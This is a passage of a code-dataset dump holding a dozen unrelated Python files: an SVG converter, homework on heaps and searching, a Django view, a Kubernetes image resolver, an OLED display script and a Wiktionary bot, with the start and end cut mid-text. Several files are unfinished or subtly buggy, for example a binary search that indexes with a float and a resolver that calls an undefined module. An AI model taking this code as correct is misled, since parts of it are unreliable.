xml_root.getElementsByTagName('g'):\n if s.attributes['class'].value == \"edge\":\n for thing in s.childNodes:\n if thing.nodeType == s.ELEMENT_NODE and thing.tagName == \"path\":\n thing.setAttribute(\"inkscape:connector-type\", \"polyline\")\n thing.setAttribute(\"inkscape:connector-curvature\", \"3\")\n edge_id = edges[s.attributes['id'].value]\n thing.setAttribute(\"inkscape:connection-start\", \"#\" + nodes[edge_id[0]])\n thing.setAttribute(\"inkscape:connection-end\", \"#\" + nodes[edge_id[1]])\n graph.appendChild(thing)\n graph.removeChild(s)\n\nfor s in xml_root.getElementsByTagName('svg'):\n s.setAttribute(\"xmlns:inkscape\", \"http://www.inkscape.org/namespaces/inkscape\")\n\nxml_root.writexml(sys.stdout)\n","sub_path":"other_files/my_samples/single_sources/graphviz_svg_to_inkscape.py","file_name":"graphviz_svg_to_inkscape.py","file_ext":"py","file_size_in_byte":2034,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"428587564","text":"from z3 import *\n\nS = Solver()\ndef check_equal():\n f = open(\"demofile.txt\", \"r\")\n #print(f.read())\n lines = f.readlines()\n #print(lines[0])\n in_a = lines[0]\n m = lines[1]\n in_b = lines[2]\n n = lines[3]\n\n# z3_in_a = Int(\"in_a\")\n z3_out_a = Int(\"out_a\")\n# z3_in_b = Int(\"in_b\")\n z3_out_b = Int(\"out_b\")\n\n # power\n out_a = 1\n for i in range(int(m)+1):\n out_a = out_a * int(in_a)\n \n z3_out_a = out_a\n\n \n # power_new\n out_b = int (in_b)\n for i in range(int(n)):\n out_b = out_b * out_b\n\n z3_out_b = out_b\n \n\n S.add(out_a == out_b)\n\n# print(S.check())\n if (str(S.check()) == \"sat\"):\n return True\n else:\n if (str(S.check()) == \"unsat\"):\n return False\n\nprint(bool(check_equal()))\n","sub_path":"HW6/problem6.py","file_name":"problem6.py","file_ext":"py","file_size_in_byte":689,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"502634123","text":"#Min Heap\ndef heapify(li, x, n):\n largest = x\n left = 2 * x + 1\n right = 2 * x + 2 \n if (left < n and li[left] < li[largest]) or (right < n and li[right] < li[largest]):\n #print(li[x], x)\n if left < n and li[left] < li[largest]: #cheking if left child is exist and its value is less than largest node or not\n li[x], li[left] = li[left], li[x]\n heapify(li, left, n)\n elif right < n: #We just have to check right because if left is not exist then right cannot be exist. \n li[x], li[right] = li[right], li[x]\n heapify(li, right, n)\n \n\nli = [3,9,2,1,4,5]\nn = len(li)\nfor x in range((n // 2) - 1, -1, -1):\n heapify(li, x, n)\n\nprint(li)\n","sub_path":"Python/MinHeap.py","file_name":"MinHeap.py","file_ext":"py","file_size_in_byte":719,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"115222409","text":"# STRETCH: implement Linear Search\t\t\t\t\ndef linear_search(arr, target):\n \n # TO-DO: add missing code\n for element in arr:\n if element == target:\n return element \n return -1 # not found\n \n # for i in range (0, len(arr)): \n # if (arr[i] == target): \n # return arr[i]; # returns the value if found\n # return -1\nprint(f'This is linear search {linear_search([1, 4, 6, 8], 6)}')\n# STRETCH: write an iterative implementation of Binary Search \ndef binary_search(arr, target):\n\n if len(arr) == 0:\n return -1 # array empty\n \n low = 0\n high = len(arr)-1\n\n # TO-DO: add missing code\n while low <= high:\n mid = (low + high)/2 # middle element index\n guess = arr[mid] # middle element \n if guess == target: #middle element is target\n return mid # return middle element index\n if guess > target:\n high = mid - 1 \n #change the end Index to start from middle - 1 b/c you checked middle already\n else:\n low = mid + 1 \n #change the start Index to start from middle + 1\n\n return -1 # not found\nprint(f'This is index of the target for binary search {binary_search([1, 4, 6, 8], 6)}') \n\n# STRETCH: write a recursive implementation of Binary Search \ndef binary_search_recursive(arr, target, low, high):\n \n middle = (low+high)/2\n\n if len(arr) == 0:\n return -1 # array empty\n # TO-DO: add missing if/else statements, recursive calls\n","sub_path":"project/searching.py","file_name":"searching.py","file_ext":"py","file_size_in_byte":1393,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"494054388","text":"from django.http import JsonResponse, HttpResponseServerError\nfrom d2Spider.models import d2SpiderModel\nfrom rest_framework.views import APIView\nfrom check_data.check_field import CheckField\nimport logging\nlogger = logging.getLogger('django')\n\n\nclass LookSpiderView(APIView):\n def __init__(self):\n self.check_file = CheckField()\n super().__init__()\n\n def check_format(self, request):\n current_page = request.data.get('currentPage') # 当前页\n page_size = request.data.get('pageSize') # 页面大小\n total = request.data.get('total')\n try:\n current_page = self.check_file.is_int_str(current_page)\n page_size = self.check_file.is_int_str(page_size)\n total = self.check_file.is_int_str(total)\n except (ValueError, TypeError) as err:\n return JsonResponse({'code': 2, 'msg': str(err), 'data':{}})\n except Exception as err:\n logger.error(err)\n return HttpResponseServerError()\n else:\n return {\n 'currentPage': current_page,\n 'pageSize': page_size,\n 'total': total\n }\n\n def post(self, request, *args, **kwargs):\n get_data = self.check_format(request)\n if isinstance(get_data, (JsonResponse, HttpResponseServerError)):\n return get_data\n else:\n current_page = get_data['currentPage'] # 当前页\n page_size = get_data['pageSize'] # 页面大小\n total = get_data['total'] # 一共多少条\n spider_list = []\n res = d2SpiderModel.objects(GspiderDeleted=0)\n total = res.count()\n for obj in res.skip((current_page - 1) * page_size).limit(page_size):\n spider_list.append({\n 'number': obj['GspiderId'],\n 'source': obj['GspiderDomain'],\n 'web_name': obj['GspiderName'],\n 'web_classification': obj['GspiderClassification'],\n 'web_region': obj['GspiderRegion']\n # 'forbidRemove': False, ## 是否禁止删除\n # 'showRemoveButton': True ## 是否显示删除按钮\n })\n rev_data = {\n 'code': 0,\n 'msg': '查询成功',\n 'data': {\n 'list': spider_list,\n 'total': total\n }\n }\n return JsonResponse(rev_data)\n\n# def ZlookSpider(request):\n# try:\n#\n# # 验证\n# conn = get_redis_connection()\n# get_data = simplejson.loads(request.body)\n# Ztoken = request.META.get('HTTP_X_TOKEN')\n# if Ztoken is None:\n# rev_data = {'code': 1, 'msg': \"token无效,请重新登陆\", 'data': {}}\n# return JsonResponse(rev_data)\n# Ztelephone = conn.get(Ztoken)\n#\n# if Ztelephone is not None:\n# Ztelephone = Ztelephone.decode('UTF-8')\n# else:\n# rev_data = {'code': 1, 'msg': \"token无效,请重新登陆\", 'data': {}}\n# return JsonResponse(rev_data)\n#\n# currentPage = get_data['currentPage'] # 当前页\n# pageSize = get_data['pageSize'] # 页面大小\n# total = get_data['total'] # 一共多少条\n#\n# # 关键信息不存在\n# if currentPage is None or pageSize is None or total is None:\n# rev_data = {'code':1, 'msg': \"关键信息不存在\", 'data':{}}\n# return JsonResponse(rev_data)\n# spider_list = []\n# res = d2SpiderModel.objects(GspiderDeleted=0)\n# total = res.count()\n# for obj in res.skip((currentPage-1)*pageSize).limit(pageSize):\n# spider_list.append({\n# 'number': obj['GspiderId'],\n# 'source': obj['GspiderDomain'],\n# 'web_name': obj['GspiderName'],\n# 'web_classification': obj['GspiderClassification'],\n# 'web_region': obj['GspiderRegion']\n# # 'forbidRemove': False, ## 是否禁止删除\n# # 'showRemoveButton': True ## 是否显示删除按钮\n# })\n# rev_data = {\n# 'code': 0,\n# 'msg':'查询成功',\n# 'data': {\n# 'list': spider_list,\n# 'total': total\n# }\n# }\n# conn.expire(Ztoken, OUT_TIME)\n# return JsonResponse(rev_data)\n#\n# except Exception as err:\n# return HttpResponseServerError()\n","sub_path":"d2_client/d2Spider/views/lookSpiderView.py","file_name":"lookSpiderView.py","file_ext":"py","file_size_in_byte":4617,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"288511470","text":"from django.conf.urls import url\nfrom . import views\n\napp_name = 'hostel'\n\nurlpatterns = [\n url(r'^$', views.about, name='about'),\n \n url(r'^index/$', views.index, name='index'),\n \n url(r'^login_user/$', views.login_user, name='login_user'),\n \n url(r'^logout_user/$', views.logout_user, name='logout_user'),\n \n url(r'^(?P[0-9]+)/$', views.detail, name='detail'),\n \n url(r'^files/(?P[a-zA_Z]+)/$', views.files, name='files'),\n \n url(r'^create_profile/$', views.create_profile, name='create_profile'),\n \n\n url(r'^(?P[0-9]+)/create_file/$', views.create_file, name='create_file'),\n \n url(r'^(?P[0-9]+)/delete_file/(?P[0-9]+)/$', views.delete_file, name='delete_file'),\n \n url(r'^vote/(?P[0-9]+)/$', views.vote, name='vote'),\n\n url(r'^studentlist/$', views.studentlist, name='studentlist'),\n url(r'^information/$',views.messageinfo,name='messageinfo'),\n\n]\n\n\n","sub_path":"hostel/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":985,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"220532596","text":"#!/bin/python3\n\nimport math\nimport os\nimport random\nimport re\nimport sys\n\n# Complete the countApplesAndOranges function below.\ndef countApplesAndOranges(s, t, a, b, apples, oranges):\n apples_roof = 0\n oranges_roof = 0\n for i in range (len(apples)):\n if apples[i]>0:\n if (apples[i]+a) >= s and (apples[i]+a) <= t:\n apples_roof += 1\n for i in range (len(oranges)):\n if oranges[i]<0:\n if (oranges[i]+b) >= s and (oranges[i]+b) <= t:\n oranges_roof += 1\n print(apples_roof)\n print(oranges_roof)\n\nif __name__ == '__main__':\n st = input().split()\n\n s = int(st[0])\n\n t = int(st[1])\n\n ab = input().split()\n\n a = int(ab[0])\n\n b = int(ab[1])\n\n mn = input().split()\n\n m = int(mn[0])\n\n n = int(mn[1])\n\n apples = list(map(int, input().rstrip().split()))\n\n oranges = list(map(int, input().rstrip().split()))\n\n countApplesAndOranges(s, t, a, b, apples, oranges)\n","sub_path":"Apple_And_Orange.py","file_name":"Apple_And_Orange.py","file_ext":"py","file_size_in_byte":966,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"124146833","text":"import numpy as np\nfrom random import sample\nimport DecisionTree\n\nclass RandomForest(DecisionTree.DecisionTree, object):\n def __init__(self, max_depth, n_trees, n_samples):\n super(RandomForest, self).__init__(max_depth=max_depth)\n self.n_trees = n_trees\n self.n_samples = n_samples\n\n def random_forest(self, X, y):\n trees = []\n for i in range(self.n_trees):\n sub_X, sub_y = self.subsample(X, y)\n tree = DecisionTree.DecisionTree(self.max_depth)\n root = tree.fit(sub_X, sub_y)\n trees.append(root)\n\n return trees\n\n def subsample(self, X, y):\n sub_X = sample(X, self.n_samples)\n sub_y = sample(y, self.n_samples)\n\n return sub_X, sub_y","sub_path":"DecisionTreeAndEnsemble/RandomForest.py","file_name":"RandomForest.py","file_ext":"py","file_size_in_byte":747,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"543391158","text":"import re\ndef isMatch(s: str, p: str) -> bool:\n\n # 判断s字符串是否和p的正则表达式匹配\n m, n = len(s), len(p)\n dp = [[False]*(m+1) for _ in range(n+1)]\n # 初始化\n dp[0][0] = True\n for i in range(1, m+1): # 没有正则匹配的情况\n dp[0][i] = False\n first_start = True\n for j in range(1, n+1): # 空字符串的匹配情况\n if p[j-1] == '*' and first_start:\n dp[j][0] = True\n else:\n first_start = False\n dp[j][0] = False\n for j in range(1, m+1):\n for i in range(1, n+1):\n if s[j-1] == p[i-1]: dp[i][j] = dp[i-1][j-1]\n if p[i-1] == '.' : dp[i][j] = dp[i-1][j-1]\n if p[i-1] == '*': # 重点讨论*的情况\n # dp[i][j] = dp[i-1][j] or dp[i][j-1] \n dp[i][j] = i > 2 and dp[i-3][j-1] or p[i-2] in [s[j-1], '.'] and dp[i-1][j-2]\n return dp[-1][-1]\n # res = re.match('c*a*b', 'aab')\n\n # return True if res else False\n\nprint(isMatch('aab', 'c*a*b'))\n\n ","sub_path":"基础练习/剑指offer-字符串的匹配.py","file_name":"剑指offer-字符串的匹配.py","file_ext":"py","file_size_in_byte":1032,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"346377931","text":"# Definition for a binary tree node.\n# class TreeNode(object):\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\nimport collections\nclass Solution(object):\n def minDepth(self, root):\n \"\"\"\n :type root: TreeNode\n :rtype: int\n \"\"\"\n if not root:\n return 0\n this_lvl = collections.deque()\n this_lvl.append(root)\n min_depth = 1\n right_most = root\n while this_lvl:\n node = this_lvl.popleft()\n if (not node.left) and (not node.right):\n break\n if node.left:\n this_lvl.append(node.left)\n if node.right:\n this_lvl.append(node.right)\n if node == right_most:\n min_depth += 1\n right_most = (right_most.left, right_most.right)[right_most.right != None]\n return min_depth\n","sub_path":"minimum_depth_of_binary_tree.py","file_name":"minimum_depth_of_binary_tree.py","file_ext":"py","file_size_in_byte":934,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"442957181","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\n\ndef main():\n\n\timport time\n\n\timport Adafruit_GPIO.SPI as SPI\n\timport Adafruit_SSD1306\n\timport re\n\timport RPi.GPIO as GPIO\n\tfrom datetime import datetime\n\tfrom time import sleep\n\tfrom PIL import Image\n\tfrom PIL import ImageDraw\n\tfrom PIL import ImageFont\n\n\n\t# Raspberry Pi pin configuration:\n\tRST = None # on the PiOLED this pin isnt used\n\t# Note the following are only used with SPI:\n\tDC = 23\n\tSPI_PORT = 0\n\tSPI_DEVICE = 0\n\n\t# 128x64 display with hardware I2C:\n\t#disp = Adafruit_SSD1306.SSD1306_128_64(rst=RST)\n\n\t# Note you can change the I2C address by passing an i2c_address parameter like:\n\tdisp = Adafruit_SSD1306.SSD1306_128_64(rst=RST, i2c_address=0x3C)\n\n\t# Initialize library.\n\tdisp.begin()\n\n\t# Clear display.\n\tdisp.clear()\n\tdisp.display()\n\n\t# Create blank image for drawing.\n\t# Make sure to create image with mode '1' for 1-bit color.\n\twidth = disp.width\n\theight = disp.height\n\timage = Image.new('1', (width, height))\n\n\t# Get drawing object to draw on image.\n\tdraw = ImageDraw.Draw(image)\n\n\t# Draw a black filled box to clear the image.\n\tdraw.rectangle((0,0,width,height), outline=0, fill=0)\n\n\t# Draw some shapes.\n\t# First define some constants to allow easy resizing of shapes.\n\tpadding = -2\n\ttop = padding\n\tbottom = height-padding\n\t# Move left to right keeping track of the current x position for drawing shapes.\n\tx = 0\n\n\n\n\tfont = ImageFont.load_default()\n\n\tGPIO.setup(24, GPIO.IN)\n\n\t\"\"\"\n\t ____ \n\t| _ \\ ___ \n\t| |_) / _ \\\n\t| _ < __/\n\t|_| \\_\\___|\n \n\t\"\"\"\n\n\n\t# Draw a black filled box to clear the image.\n\tdraw.rectangle((0,0,width,height), outline=0, fill=0)\n\n\t# Write two lines of text.\n\tdraw.text((x, top), str('-+-+-+-+-+-+-+-+-+-+-'),font=font, fill=255)\n\tdraw.text((x, top+8), str(' ____ '),font=font, fill=255)\n\tdraw.text((x, top+16), str(' | _ \\ ___ '),font=font, fill=255)\n\tdraw.text((x, top+24), str(' | |_) / _ \\ '),font=font, fill=255)\n\tdraw.text((x, top+32), str(' | _ < __/ '),font=font, fill=255)\n\tdraw.text((x, top+40), str(' |_| \\_\\___| BOOT '),font=font, fill=255)\n\tdraw.text((x, top+48), str(' '),font=font, fill=255) \n\tdraw.text((x, top+56), str(' Rebooting now '),font=font, fill=255)\n\n\t# Display image.\n\tdisp.image(image)\n\tdisp.display()\n\n\tGPIO.cleanup()\n\nif __name__ == \"__main__\":\n main()","sub_path":"testcodes/reboot_screen.py","file_name":"reboot_screen.py","file_ext":"py","file_size_in_byte":2388,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"122834206","text":"# Copyright 2017 The Bazel Authors. All rights reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\"\"\"Walks a yaml object and resolves all docker_name.Tag to docker_name.Digest.\n\"\"\"\n\nimport argparse\nimport sys\n\nfrom containerregistry.client import docker_creds\nfrom containerregistry.client import docker_name\nfrom containerregistry.client.v2_2 import docker_image as v2_2_image\nfrom containerregistry.client.v2_2 import docker_session as v2_2_session\nfrom containerregistry.tools import patched\nfrom containerregistry.transport import transport_pool\n\nimport httplib2\nimport yaml\n\n\nparser = argparse.ArgumentParser(\n description='Resolve image references to digests.')\n\nparser.add_argument(\n '--template', action='store',\n help='The template file to resolve.')\n\nparser.add_argument(\n '--image_spec', action='append',\n help='Associative lists of the constitutent elements of a FromDisk image.')\n\n_THREADS = 32\n_DOCUMENT_DELIMITER = '---\\n'\n\n\ndef Resolve(input, tag_to_digest):\n \"\"\"Translate tag references within the input yaml into digests.\"\"\"\n def walk_dict(d):\n return {\n walk(k): walk(v)\n for (k, v) in d.iteritems()\n }\n\n def walk_list(l):\n return [walk(e) for e in l]\n\n def walk_string(s):\n try:\n as_tag = docker_name.Tag(s)\n digest = tag_to_digest(as_tag)\n return digest\n except:\n return s\n\n def walk(o):\n if isinstance(o, dict):\n return walk_dict(o)\n if isinstance(o, list):\n return walk_list(o)\n if isinstance(o, str):\n return walk_string(o)\n return o\n\n return yaml.dump(walk(yaml.load(input)))\n\n\ndef TagToDigest(tag, overrides, transport):\n \"\"\"Turn a docker_name.Tag into a stringified digest.\"\"\"\n if tag in overrides:\n return str(overrides[tag])\n\n def fully_qualify_digest(digest):\n return docker_name.Digest('{registry}/{repo}@{digest}'.format(\n registry=tag.registry, repo=tag.repository, digest=digest))\n\n # Resolve the tag to digest using the standard\n # Docker keychain logic.\n creds = docker_creds.DefaultKeychain.Resolve(tag)\n with v2_2_image.FromRegistry(tag, creds, transport) as img:\n if img.exists():\n digest = fully_qualify_digest(img.digest())\n overrides[tag] = digest\n return str(digest)\n\n # If the tag doesn't exists as v2.2, then try as v2.\n with v2_image.FromRegistry(tag, creds, transport) as img:\n digest = fully_qualify_digest(img.digest())\n overrides[tag] = digest\n return str(digest)\n\n\ndef Publish(transport,\n name=None, tarball=None, config=None, digest=None, layer=None):\n if not name:\n raise Exception('Expected \"name\" kwarg')\n\n if not config and (layer or digest):\n raise Exception(\n name + ': Using \"layer\" or \"digest\" requires \"config\" to be specified.')\n\n if config:\n with open(config, 'r') as reader:\n config = reader.read()\n elif tarball:\n with v2_2_image.FromTarball(tarball) as base:\n config = base.config_file()\n else:\n raise Exception(name + ': Either \"config\" or \"tarball\" must be specified.')\n\n if digest or layer:\n digest = digest.split(',')\n layer = layer.split(',')\n if len(digest) != len(layer):\n raise Exception(\n name + ': \"digest\" and \"layer\" must have matching lengths.')\n else:\n digest = []\n layer = []\n\n name = docker_name.Tag(name)\n\n # Resolve the appropriate credential to use based on the standard Docker\n # client logic.\n creds = docker_creds.DefaultKeychain.Resolve(name)\n\n with v2_2_session.Push(name, creds, transport, threads=_THREADS) as session:\n with v2_2_image.FromDisk(config, zip(digest or [], layer or []),\n legacy_base=tarball) as v2_2_img:\n session.upload(v2_2_img)\n\n return (name, docker_name.Digest('{repository}@{digest}'.format(\n repository=name.as_repository(),\n digest=v2_2_img.digest())))\n\n\ndef main():\n args = parser.parse_args()\n\n transport = transport_pool.Http(httplib2.Http, size=_THREADS)\n\n overrides = {}\n # TODO(mattmoor): Execute these in a threadpool and\n # aggregate the results as they complete.\n for spec in args.image_spec or []:\n parts = spec.split(';')\n kwargs = dict([x.split('=', 2) for x in parts])\n (tag, digest) = Publish(transport, **kwargs)\n overrides[tag] = digest\n\n with open(args.template, 'r') as f:\n inputs = f.read()\n\n print(_DOCUMENT_DELIMITER.join([\n Resolve(x, lambda t: TagToDigest(t, overrides, transport))\n for x in inputs.split(_DOCUMENT_DELIMITER)\n ]))\n\n\nif __name__ == '__main__':\n with patched.Httplib2():\n main()\n","sub_path":"k8s/resolver.py","file_name":"resolver.py","file_ext":"py","file_size_in_byte":5043,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"370436817","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n# @date : 2019-02-05 20:34:38\n# @author : maixiaochai\n# @email : maixiaochai@qq.com\n# @Link : https://github.com/MaiXiaochai\n# @Version : 1.0\n\n\nclass Date:\n # 构造函数\n def __init__(self, year, month, day):\n self.year = year\n self.month = month\n self.day = day\n\n def tomorrow(self):\n self.day += 1\n\n @staticmethod\n def vaild_year(date_str):\n year = int(date_str.split('-')[0])\n if year < 2019:\n return False\n\n return True\n\n @staticmethod\n def parse_string(date_str):\n year, month, day = tuple(date_str.split(\"-\"))\n return Date(int(year), int(month), int(day))\n\n @classmethod\n def parse_string_cls(cls, date_str):\n year, month, day = tuple(date_str.split(\"-\"))\n return cls(int(year), int(month), int(day))\n\n def __str__(self):\n return \"{}/{}/{}\".format(self.year, self.month, self.day)\n\n\nif __name__ == \"__main__\":\n # staticmethod\n date_str = \"2019-2-5\"\n new_day = Date.parse_string(date_str)\n print(new_day)\n\n # classmethod\n new_day = Date.parse_string_cls(date_str)\n print(new_day)\n\n # vaild_year\n print(Date.vaild_year(date_str))\n","sub_path":"expert_python/src/class_method.py","file_name":"class_method.py","file_ext":"py","file_size_in_byte":1244,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"16181619","text":"import random\n\nfrom math import sin, cos, tan, tanh, pi, sinh, cosh\n\n# Your job is to create better version of create_expression and\n# run_expression to create random art.\n# Your expression should have a __str__() function defined for it.\n\nclass Expression:\n def __init__(self):\n self.commands = []\n\n def evaluate(self, x, y):\n value = 1\n for (command, coord) in self.commands:\n if command == \"sin\" and coord == \"x\":\n value *= sin(tanh(pi * avg(x, avg(y, tanh(x**2)))))\n elif command == \"sin\" and coord == \"y\":\n value *= cos(tan((pi * avg(y, avg(x,tan(y**2))))))\n elif command == \"cos\" and coord == \"x\":\n value *= cos(tan(pi * avg(x, avg(y, tan(x**2)))))\n elif command == \"cos\" and coord == \"y\":\n value *= sin(tanh(pi * avg(y, avg(x, tanh(y**2)))))\n\n return value\n\n def __str__(self):\n return str(self.commands)\n\n\n\ndef create_expression():\n \"\"\"This function takes no arguments and returns an expression that\n generates a number between -1.0 and 1.0, given x and y coordinates.\"\"\"\n x = random.randint(1, 10000)\n y = random.randint(1, 10000)\n\n # expr = Expression()\n\n expr = '(x*y)'\n\n funx = ['sin(x/2)', 'cos(y ** 3)', '(2 * sin(x))', 'y**6', '(x)',\n 'tan(x ** random.randint(0, 40))', 'cos(y*x**2)', '100',\n 'random.randrange(0, 100000)*cos(y)']\n\n for _ in range(random.randint(10, 40)):\n expr = expr + ' * ' + random.choice(funx)\n\n return expr\n\n\n\ndef run_expression(expr, x, y):\n \"\"\"This function takes an expression created by create_expression and\n an x and y value. It runs the expression, passing the x and y values\n to it and returns a value between -1.0 and 1.0.\"\"\"\n return eval(expr)\n","sub_path":"random_art1.py","file_name":"random_art1.py","file_ext":"py","file_size_in_byte":1808,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"244548426","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport pywikibot, re, sys, argparse\n\nimport blib\nfrom blib import getparam, rmparam, msg, errmsg, site, tname, pname\n\nrecognized_tag_sets = [\n \"2|m|p|non-past|actv|subj\",\n \"2|m|p|non-past|actv|jussive\",\n \"2|m|p|non-past|pasv|subj\",\n \"2|m|p|non-past|pasv|jussive\",\n \"3|m|p|non-past|actv|subj\",\n \"3|m|p|non-past|actv|jussive\",\n \"3|m|p|non-past|pasv|subj\",\n \"3|m|p|non-past|pasv|jussive\",\n \"2|m|p|actv|impr\",\n]\n\nsplit_recognized_tag_sets = [\n tag_set.split(\"|\") for tag_set in recognized_tag_sets\n]\n\ndef fix_new_page(page, index, parsed):\n pagetitle = str(page.title())\n def pagemsg(txt):\n msg(\"Page %s %s: %s\" % (index, pagetitle, txt))\n\n notes = []\n\n pagemsg(\"Fixing new page\")\n\n origtext = str(page.text)\n text = origtext\n newtext = re.sub(\"^\\{\\{also\\|.*?\\}\\}\\n\", \"\", text)\n if text != newtext:\n notes.append(\"remove no-longer-relevant {{also}} hatnote\")\n text = newtext\n\n parsed = blib.parse_text(text)\n for t in parsed.filter_templates():\n origt = str(t)\n tn = tname(t)\n if tn == \"ar-verb-form\":\n form = getparam(t, \"1\")\n if form.endswith(\"ا\"):\n continue\n elif not form.endswith(\"و\") and not form.endswith(\"وْ\"):\n pagemsg(\"WARNING: Form doesn't end in waw or alif: %s\" % origt)\n continue\n form = form + \"ا\"\n t.add(\"1\", form)\n notes.append(\"add missing final alif to form in {{ar-verb-form}}\")\n newt = str(t)\n if origt != newt:\n pagemsg(\"Replaced %s with %s\" % (origt, newt))\n\n return str(parsed), notes\n\ndef convert_etym_subsection_to_single_etymology_section(text):\n subsections = re.split(\"(^==+[^=\\n]+==+\\n)\", text, 0, re.M)\n if subsections[0].strip():\n # There's etymology at top, make a section for it.\n subsections = [\"\", \"====Etymology====\\n\"] + subsections\n # If there's an Alternative forms section below, put the Etymology\n # section below it.\n if len(subsections) >= 5 and subsections[3] == \"====Alternative forms====\\n\":\n altforms_subsecs = subsections[3:5]\n subsections[3:5] = subsections[1:3]\n subsections[1:3] = altforms_subsecs\n # Remove one indentation level from each header.\n for j in range(1, len(subsections), 2):\n subsections[j] = subsections[j][1:-2] + \"\\n\"\n return \"\".join(subsections)\n\n\ndef process_page(page, index, parsed):\n pagetitle = str(page.title())\n def pagemsg(txt):\n msg(\"Page %s %s: %s\" % (index, pagetitle, txt))\n def errpagemsg(txt):\n errmsg(\"Page %s %s: %s\" % (index, pagetitle, txt))\n\n notes = []\n\n pagemsg(\"Processing\")\n if not pagetitle.endswith(\"و\"):\n pagemsg(\"Page title doesn't end with waw, skipping\")\n return\n if not page.exists():\n pagemsg(\"WARNING: Page doesn't exist, skipping\")\n return\n\n text = str(page.text)\n origtext = text\n sections = re.split(\"(^==[^=]*==\\n)\", text, 0, re.M)\n\n has_non_arabic = False\n\n arabic_j = -1\n for j in range(2, len(sections), 2):\n if sections[j-1] != \"==Arabic==\\n\":\n has_non_arabic = True\n else:\n if arabic_j >= 0:\n pagemsg(\"WARNING: Found two Arabic sections, skipping\")\n return\n arabic_j = j\n if arabic_j < 0:\n pagemsg(\"WARNING: Can't find Arabic section, skipping\")\n return\n j = arabic_j\n\n # Extract off trailing separator\n mm = re.match(r\"^(.*?\\n)(\\n*--+\\n*)$\", sections[j], re.S)\n if mm:\n # Note that this changes the number of sections, which is seemingly\n # a problem because the for-loop above calculates the end point\n # at the beginning of the loop, but is not actually a problem\n # because we always break after processing the Russian section.\n secbody, sectail = mm.group(1), mm.group(2)\n else:\n secbody = sections[j]\n sectail = \"\"\n\n # Split off categories at end\n mm = re.match(r\"^(.*?\\n)(\\n*(\\[\\[Category:[^\\]]+\\]\\]\\n*)*)$\",\n secbody, re.S)\n if mm:\n # See comment above.\n secbody, secbodytail = mm.group(1), mm.group(2)\n sectail = secbodytail + sectail\n\n def etym_section_is_movable(sectext, header):\n parsed = blib.parse_text(sectext)\n inflection_of_templates_with_unrecognized_tags = []\n saw_inflection_of_with_recognized_tag = False\n for t in parsed.filter_templates():\n tn = tname(t)\n if tn == \"inflection of\":\n if getparam(t, \"lang\"):\n lang = getparam(t, \"lang\")\n first_tag_param = 3\n else:\n lang = getparam(t, \"1\")\n first_tag_param = 4\n if lang != \"ar\":\n pagemsg(\"WARNING: Non-Arabic language in Arabic {{inflection of}} in %s, skipping: %s\" % (header, str(t)))\n return False\n tags = []\n for param in t.params:\n pn = pname(param)\n pv = str(param.value).strip()\n if re.search(\"^[0-9]+$\", pn) and int(pn) >= first_tag_param:\n tags.append(pv)\n if tags not in split_recognized_tag_sets:\n inflection_of_templates_with_unrecognized_tags.append(str(t))\n else:\n saw_inflection_of_with_recognized_tag = True\n\n if not saw_inflection_of_with_recognized_tag:\n return False\n\n if inflection_of_templates_with_unrecognized_tags:\n pagemsg(\"WARNING: Unrecognized {{inflection of}} tag set mixed with recognized ones in %s, skipping: %s\" %\n (header, \" / \".join(inflection_of_templates_with_unrecognized_tags)))\n return False\n\n for t in parsed.filter_templates():\n tn = tname(t)\n if tn in [\"also\", \"ar-root\", \"nonlemma\", \"ar-IPA\"]:\n continue\n if tn == \"ar-verb-form\":\n form = getparam(t, \"1\")\n if not form.endswith(\"و\") and form.endswith(\"وْ\"):\n pagemsg(\"WARNING: ar-verb-form form doesn't end with waw in %s with recognized {{inflection of}} tags, skipping: %s\" % (header, str(t)))\n return False\n continue\n if tn != \"inflection of\":\n pagemsg(\"WARNING: Unrecognized template in %s with recognized {{inflection of}} tags, skipping: %s\" % (header, str(t)))\n return False\n return True\n\n has_non_movable_etym_sections = False\n movable_sections = []\n\n def remove_arabic_section():\n # No sections left, need to remove the whole Arabic section.\n if not has_non_arabic:\n # Can move the whole page\n notes.append(\"excised %s subsection%s for Arabic forms wrongly lacking final aleph, leaving nothing\" %\n (len(movable_sections), \"\" if len(movable_sections) == 1 else \"s\"))\n return \"\"\n else:\n del sections[j]\n del sections[j-1]\n notes.append(\"excised %s subsection%s for Arabic forms wrongly lacking final aleph, leaving no Arabic section\" %\n (len(movable_sections), \"\" if len(movable_sections) == 1 else \"s\"))\n if j > len(sections):\n # We deleted the last section, remove the separator at the end of 